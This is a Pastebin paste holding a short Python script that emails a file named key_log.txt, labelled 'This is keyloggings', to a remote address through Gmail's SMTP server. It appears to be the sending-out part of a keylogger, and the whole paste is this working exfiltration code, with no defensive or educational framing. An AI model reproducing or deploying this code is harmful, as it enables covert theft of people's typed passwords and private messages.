Guest User

Untitled

a guest
Oct 23rd, 2018
1,133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1. email_user = 'user@gmail.com'
  2. email_password = '********'
  3. email_send = 'send@gmail.com'
  4.  
  5. subject = 'This is keyloggings '
  6.  
  7. msg = MIMEMultipart()
  8. msg['From'] = email_user
  9. msg['To'] = email_send
  10. msg['Subject'] = subject
  11.  
  12. body = 'This is keyloggings'
  13. msg.attach(MIMEText(body,'plain'))
  14.  
  15. filename = 'key_log.txt'
  16. attachment = open(filename,'rb')
  17.  
  18. part = MIMEBase('application','octet-stream')
  19. part.set_payload((attachment).read())
  20. encoders.encode_base64(part)
  21. part.add_header('Content-Disposition',"attachment;filename= %s" %filename)
  22.  
  23. msg.attach(part)
  24.  
  25. server = smtplib.SMTP('smtp.gmail.com',587)
  26. server.ehlo()
  27. server.starttls()
  28. server.ehlo()
  29. server.login(email_user,email_password)
  30. text = msg.as_string()
  31. server.sendmail(email_user,email_send,text)
  32. server.quit()
Add Comment
Please, Sign In to add comment